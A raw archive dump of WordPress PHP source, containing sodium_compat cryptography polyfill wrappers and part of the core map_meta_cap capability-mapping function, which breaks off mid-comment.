unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return ParagonIE_Sodium_Core32_Int32 * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->container[$offset])) { $this->container[(int) $offset] = new ParagonIE_Sodium_Core32_Int32(); } /** @var ParagonIE_Sodium_Core32_Int32 $get */ $get = $this->container[$offset]; return $get; } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { if (empty($this->container)) { return array(); } $c = array( (int) ($this->container[0]->toInt()), (int) ($this->container[1]->toInt()), (int) ($this->container[2]->toInt()), (int) ($this->container[3]->toInt()), (int) ($this->container[4]->toInt()), (int) ($this->container[5]->toInt()), (int) ($this->container[6]->toInt()), (int) ($this->container[7]->toInt()), (int) ($this->container[8]->toInt()), (int) ($this->container[9]->toInt()) ); return array(implode(', ', $c)); } } sodium_compat/src/SodiumException.php000064400000000236147177035010014034 0ustar00getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_secretkey($keypair) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair); } } if (!is_callable('sodium_crypto_box_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seed_keypair($seed) { return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed); } } if (!is_callable('sodium_crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $outLen * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash($message, $key = null, $outLen = 32) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $outLen); } } if (!is_callable('sodium_crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $ctx * @param int $outputLength * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_final(&$ctx, $outputLength = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength); } } if (!is_callable('sodium_crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $outLen * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_init($key = null, $outLen = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outLen); } } if (!is_callable('sodium_crypto_generichash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen() * @return string * @throws Exception */ function sodium_crypto_generichash_keygen() { return ParagonIE_Sodium_Compat::crypto_generichash_keygen(); } } if (!is_callable('sodium_crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $ctx * @param string $message * @return void * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_update(&$ctx, $message = '') { ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message); } } if (!is_callable('sodium_crypto_kdf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen() * @return string * @throws Exception */ function sodium_crypto_kdf_keygen() { return ParagonIE_Sodium_Compat::crypto_kdf_keygen(); } } if (!is_callable('sodium_crypto_kdf_derive_from_key')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key() * @param int $subkey_len * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws Exception */ function sodium_crypto_kdf_derive_from_key($subkey_len, $subkey_id, $context, $key) { return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key( $subkey_len, $subkey_id, $context, $key ); } } if (!is_callable('sodium_crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_kx($my_secret, $their_public, $client_public, $server_public) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (!is_callable('sodium_crypto_kx_seed_keypair')) { /** * @param string $seed * @return string * @throws Exception */ function sodium_crypto_kx_seed_keypair($seed) { return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed); } } if (!is_callable('sodium_crypto_kx_keypair')) { /** * @return string * @throws Exception */ function sodium_crypto_kx_keypair() { return ParagonIE_Sodium_Compat::crypto_kx_keypair(); } } if (!is_callable('sodium_crypto_kx_client_session_keys')) { /** * @param string $keypair * @param string $serverPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_client_session_keys($keypair, $serverPublicKey) { return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($keypair, $serverPublicKey); } } if (!is_callable('sodium_crypto_kx_server_session_keys')) { /** * @param string $keypair * @param string $clientPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_server_session_keys($keypair, $clientPublicKey) { return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($keypair, $clientPublicKey); } } if (!is_callable('sodium_crypto_kx_secretkey')) { /** * @param string $keypair * @return string * @throws Exception */ function sodium_crypto_kx_secretkey($keypair) { return ParagonIE_Sodium_Compat::crypto_kx_secretkey($keypair); } } if (!is_callable('sodium_crypto_kx_publickey')) { /** * @param string $keypair * @return string * @throws Exception */ function sodium_crypto_kx_publickey($keypair) { return ParagonIE_Sodium_Compat::crypto_kx_publickey($keypair); } } if (!is_callable('sodium_crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $algo * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $algo = null) { return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $algo); } } if (!is_callable('sodium_crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * * @throws SodiumException */ function sodium_crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str_verify($passwd, $hash) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult($n, $p) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('sodium_crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_base($n) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if (!is_callable('sodium_crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_secretbox($message, $nonce, $key) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('sodium_crypto_secretbox_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen() * @return string * @throws Exception */ function sodium_crypto_secretbox_keygen() { return ParagonIE_Sodium_Compat::crypto_secretbox_keygen(); } } if (!is_callable('sodium_crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $message * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_secretbox_open($message, $nonce, $key) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($message, $nonce, $key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) { /** * @param string $key * @return array * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_init_push($key) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) { /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push($state, $msg, $aad, $tag); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) { /** * @param string $header * @param string $key * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $key) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) { /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull($state, $cipher, $aad); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) { /** * @param string $state * @return void * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_rekey(&$state) { ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) { /** * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_shorthash($message, $key = '') { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('sodium_crypto_shorthash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen() * @return string * @throws Exception */ function sodium_crypto_shorthash_keygen() { return ParagonIE_Sodium_Compat::crypto_shorthash_keygen(); } } if (!is_callable('sodium_crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign($message, $sk) { return ParagonIE_Sodium_Compat::crypto_sign($message, $sk); } } if (!is_callable('sodium_crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_detached($message, $sk) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $sk); } } if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey() * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk) { return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk); } } if (!is_callable('sodium_crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('sodium_crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $pk * @return string|bool */ function sodium_crypto_sign_open($signedMessage, $pk) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_sign_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey($keypair) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair); } } if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey_from_secretkey($sk) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk); } } if (!is_callable('sodium_crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_secretkey($keypair) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair); } } if (!is_callable('sodium_crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_seed_keypair($seed) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('sodium_crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $pk); } } if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_pk_to_curve25519($pk) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk); } } if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_sk_to_curve25519($sk) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk); } } if (!is_callable('sodium_crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream($len, $nonce, $key) { return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key); } } if (!is_callable('sodium_crypto_stream_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_keygen(); } } if (!is_callable('sodium_crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xor($message, $nonce, $key) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } require_once dirname(__FILE__) . '/stream-xchacha20.php'; if (!is_callable('sodium_hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @return string * @throws SodiumException * @throws TypeError */ function sodium_hex2bin($string) { return ParagonIE_Sodium_Compat::hex2bin($string); } } if (!is_callable('sodium_increment')) { /** * @see ParagonIE_Sodium_Compat::increment() * @param string $string * @return void * @throws SodiumException * @throws TypeError */ function sodium_increment(&$string) { ParagonIE_Sodium_Compat::increment($string); } } if (!is_callable('sodium_library_version_major')) { /** * @see ParagonIE_Sodium_Compat::library_version_major() * @return int */ function sodium_library_version_major() { return ParagonIE_Sodium_Compat::library_version_major(); } } if (!is_callable('sodium_library_version_minor')) { /** * @see ParagonIE_Sodium_Compat::library_version_minor() * @return int */ function sodium_library_version_minor() { return ParagonIE_Sodium_Compat::library_version_minor(); } } if (!is_callable('sodium_version_string')) { /** * @see ParagonIE_Sodium_Compat::version_string() * @return string */ function sodium_version_string() { return ParagonIE_Sodium_Compat::version_string(); } } if (!is_callable('sodium_memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $a * @param string $b * @return int * @throws SodiumException * @throws TypeError */ function sodium_memcmp($a, $b) { return ParagonIE_Sodium_Compat::memcmp($a, $b); } } if (!is_callable('sodium_memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $str * @return void * @throws SodiumException * @throws TypeError */ function sodium_memzero(&$str) { ParagonIE_Sodium_Compat::memzero($str); } } if (!is_callable('sodium_pad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $unpadded * @param int $blockSize * @return int * @throws SodiumException * @throws TypeError */ function sodium_pad($unpadded, $blockSize) { return ParagonIE_Sodium_Compat::pad($unpadded, $blockSize, true); } } if (!is_callable('sodium_unpad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $padded * @param int $blockSize * @return int * @throws SodiumException * @throws TypeError */ function sodium_unpad($padded, $blockSize) { return ParagonIE_Sodium_Compat::unpad($padded, $blockSize, true); } } if (!is_callable('sodium_randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws Exception */ function sodium_randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('sodium_randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws Exception */ function sodium_randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if (!is_callable('sodium_randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int * @throws Exception */ function sodium_randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } sodium_compat/lib/ristretto255.php000064400000016052147177035010013172 0ustar00ID ); * map_meta_cap( 'edit_post', $user->ID, $post->ID ); * map_meta_cap( 'edit_post_meta', $user->ID, $post->ID, $meta_key ); * * This function does not check whether the user has the required capabilities, * it just returns what the required capabilities are. * * @since 2.0.0 * @since 4.9.6 Added the `export_others_personal_data`, `erase_others_personal_data`, * and `manage_privacy_options` capabilities. * @since 5.1.0 Added the `update_php` capability. * @since 5.2.0 Added the `resume_plugin` and `resume_theme` capabilities. * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.7.0 Added the `create_app_password`, `list_app_passwords`, `read_app_password`, * `edit_app_password`, `delete_app_passwords`, `delete_app_password`, * and `update_https` capabilities. * * @global array $post_type_meta_caps Used to get post type meta capabilities. * * @param string $cap Capability being checked. * @param int $user_id User ID. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return string[] Primitive capabilities required of the user. */ function map_meta_cap( $cap, $user_id, ...$args ) { $caps = array(); switch ( $cap ) { case 'remove_user': // In multisite the user must be a super admin to remove themselves. if ( isset( $args[0] ) && $user_id == $args[0] && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'remove_users'; } break; case 'promote_user': case 'add_users': $caps[] = 'promote_users'; break; case 'edit_user': case 'edit_users': // Allow user to edit themselves. if ( 'edit_user' === $cap && isset( $args[0] ) && $user_id == $args[0] ) { break; } // In multisite the user must have manage_network_users caps. If editing a super admin, the user must be a super admin. if ( is_multisite() && ( ( ! is_super_admin( $user_id ) && 'edit_user' === $cap && is_super_admin( $args[0] ) ) || ! user_can( $user_id, 'manage_network_users' ) ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'edit_users'; // edit_user maps to edit_users. } break; case 'delete_post': case 'delete_page': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $caps[] = 'do_not_allow'; break; } if ( ( get_option( 'page_for_posts' ) == $post->ID ) || ( get_option( 'page_on_front' ) == $post->ID ) ) { $caps[] = 'manage_options'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'delete_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { // If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } else { $caps[] = $post_type->cap->delete_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->delete_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->delete_others_posts; // The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->delete_private_posts; } } /* * Setting the privacy policy page requires `manage_privacy_options`, * so deleting it should require that too. */ if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; // edit_post breaks down to edit_posts, edit_published_posts, or // edit_others_posts. case 'edit_post': case 'edit_page': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'edit_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { // If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } else { $caps[] = $post_type->cap->edit_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->edit_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->edit_others_posts; // The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->edit_private_posts; } } /* * Setting the privacy policy page requires `manage_privacy_options`, * so editing it should require that too. */ if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; case 'read_post': case 'read_page': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'read_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } $status_obj = get_post_status_object( get_post_status( $post ) ); if ( ! $status_obj ) { /* translators: 1: Post status, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post status %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post with that status.' ), get_post_status( $post ), $cap ), '5.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( $status_obj->public ) { $caps[] = $post_type->cap->read; break; } if ( $post->post_author && $user_id == $post->post_author ) { $caps[] = $post_type->cap->read; } elseif ( $status_obj->private ) { $caps[] = $post_type->cap->read_private_posts; } else { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } break; case 'publish_post': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } $caps[] = $post_type->cap->publish_posts; break; case 'edit_post_meta': case 'delete_post_meta': case 'add_post_meta': case 'edit_comment_meta': case 'delete_comment_meta': case 'add_comment_meta': case 'edit_term_meta': case 'delete_term_meta': case 'add_term_meta': case 'edit_user_meta': case 'delete_user_meta': case 'add_user_meta': $object_type = explode( '_', $cap )[1]; $object_id = (int) $args[0]; $object_subtype = get_object_subtype( $object_type, $object_id ); if ( empty( $object_subtype ) ) { $caps[] = 'do_not_allow'; break; } $caps = map_meta_cap( "edit_{$object_type}", $user_id, $object_id ); $meta_key = isset( $args[1] ) ? $args[1] : false; if ( $meta_key ) { $allowed = ! is_protected_meta( $meta_key, $object_type ); if ( ! empty( $object_subtype ) && has_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) { /** * Filters whether the user is allowed to edit a specific meta key of a specific object type and subtype. * * The dynamic portions of the hook name, `$object_type`, `$meta_key`, * and `$object_subtype`, refer to the metadata object type (comment, post, term or user), * the meta key value, and the object subtype respectively. * * @since 4.9.8 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } else { /** * Filters whether the user is allowed to edit a specific meta key of a specific object type. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 3.3.0 As `auth_post_meta_{$meta_key}`. * @since 4.6.0 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } if ( ! empty( $object_subtype ) ) { /** * Filters whether the user is allowed to edit meta for specific object types/subtypes. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$object_subtype` refers to the object subtype being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 